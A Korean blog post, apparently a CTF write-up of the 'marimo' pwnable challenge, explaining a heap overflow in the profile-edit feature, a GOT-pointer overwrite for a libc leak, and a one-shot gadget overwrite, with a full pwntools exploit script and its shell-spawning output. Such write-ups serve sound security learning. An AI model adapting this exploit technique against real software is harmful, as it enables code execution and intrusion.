티스토리 뷰
다른 문제 보다가 안풀려서 잠시 쉬어갈 겸 풀어보았다.
Summary
- heap overflow
- pointer overwrite
Analysis
puts("\n[V]iew my bowls");
puts("[B]uy marimo");
puts("[S]ell marimo");
puts("[A]bout");
puts("[Q]uit");
printf(">> ");
메뉴는 이렇게 있고
입력을 받을 때 show me the marimo
를 입력하면 마리모를 하나 준다. (size는 1)
원래 Buy하려면 돈이 필요한데 꽁짜로 준다 ! ㅎㅎ
마리모는 최대 15개 까지 살 수 있다.
struct marimo{
int_32 time;
int_32 size;
int *name = malloc(16);
int *profile = malloc(32);
}
마리모 구조체는 이렇게 되고 name과 profile을 입력 받는다.
- Buy
- 위 구조체와 같으며 name과 profile을 입력 받는다.
- 가격은 입력받은 수 *5이다. 근데 돈이 없어서 못 사니, 위에서 만든 마리모를 팔고 사면 된다.
- Sell
- 마리모를 팔 수 있다.
- 5*(size + (current_time - birth_size)) 가 가격이다. 시간에 따라 돈을 더 많이 받고 팔 수 있다.
- View
- bowl (마리모 구조체들) 값을 출력해준다.
- 여기서 기존 profile값을 modify할 수 있는데, 여기서도 size를
prev_size + (current_time - birth_time)
로 새로 값을 만들어준다. ㅋㅋ - 근데? 이 new_size*32만큼 profile을 수정할 수 있기 때문에 heap overflow가 발생한다!
Libc leak
heap overflow 취약점을 통해 뒤의 마리모 구조체의 name청크 혹은 profile청크의 주소를 got로 overwrite해주고
view해주면 got에 담겨진 libc주소가 leak된다.
Exploit
one_shot 컨디션 잘 봐가면서 다시한번 modify해 아까 바꾼 got에 원샷 가젯을 넣어준다.
from pwn import *
import time
s = process("./marimo")
e = ELF("./marimo")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.log_level = 'debug'
s.sendlineafter(">> ", "show me the marimo")
s.sendlineafter(">> ", "hyomin")
s.sendlineafter(">> ", "profile")
#show me the money
s.sendlineafter(">> ", "S")
sleep(1)
s.sendlineafter(">> ", "0")
s.sendlineafter("?", "S")
# Sell marimo, get 15 dollars.
s.sendlineafter(">> ", "B")
s.sendlineafter(">> ", "1")
s.sendlineafter(">> ", "P")
s.sendlineafter(">> ", "chunk1_name")
s.sendlineafter(">> ", "chunk1_profile")
# buy 1cm marimo1
s.sendlineafter(">> ", "B")
s.sendlineafter(">> ", "1")
s.sendlineafter(">> ", "P")
s.sendlineafter(">> ", "chunk2_name")
s.sendlineafter(">> ", "chunk2_profile")
# buy 1cm marimo2
sleep(2)
s.sendlineafter(">> ", "V")
s.sendlineafter(">> ", "0")
s.sendlineafter(">> ", "M")
leak_payload = "A"*48 + p32(int(time.time()))+p32(1)+p64(e.got['puts'])*2
s.sendlineafter(">> ", leak_payload)
s.sendlineafter(">> ", "B")
s.sendlineafter(">> ", "V")
s.sendlineafter(">> ", "1")
s.recvuntil("birth : ")
birth = int(s.recv(10))
s.recvuntil("name : ")
libc_base = u64(s.recv(6)+"\x00\x00") - libc.symbols['puts']
magic = libc_base + 0x45216
print(hex(libc_base))
# overflow chunk1 -> chunk2 *name_chunk-> puts@got
#raw_input()
payload = p64(magic)
s.sendlineafter(">> ", "M")
#raw_input()
s.sendlineafter("Give me new profile\n>> ", payload)
s.interactive()
딱히 어렵지도 않고 재밌었다 ㅎ
hyomin@ubuntu:~/hacking/ctf/coge/pwn/marimo$ python exploit.py
[+] Starting local process './marimo': pid 25385
[*] '/mnt/hgfs/hacking/ctf/coge/pwn/marimo/marimo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7ff5b7282000
[*] Switching to interactive mode
$ id
uid=1000(hyomin) gid=1000(hyomin) groups=1000(hyomin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
'pwnable > CTF write-up' 카테고리의 다른 글
[pwnpwnpwn-14] codegate 2018 heapbabe (0) | 2020.01.27 |
---|---|
[pwnpwnpwn-13] codegate 2019 god-the-reum (0) | 2020.01.26 |
[pwnpwnpwn-4] WhiteHat GrandPrix 2019 - BookStore (0) | 2020.01.08 |
[pwnpwnpwn-2] 0ctf 2017 babyheap (0) | 2020.01.03 |
[선린고등해커 2019] simple 풀이 (0) | 2019.12.01 |
Comments
최근에 올라온 글
최근에 달린 댓글
TAG
- pwable
- shellcoding
- TLS
- overflow
- oob
- heap
- pwnable
- SQLi
- fastbindup
- 본선가고싶다
- fsop
- srop
- fastbin
- HackCTF
- glibc
- ebp change
- stack reusing
- 해킹
- rt_sigreturn
- hacking
- tcache
- codegate
- exit
- FSB
- pwnable.tw
- Total
- Today
- Yesterday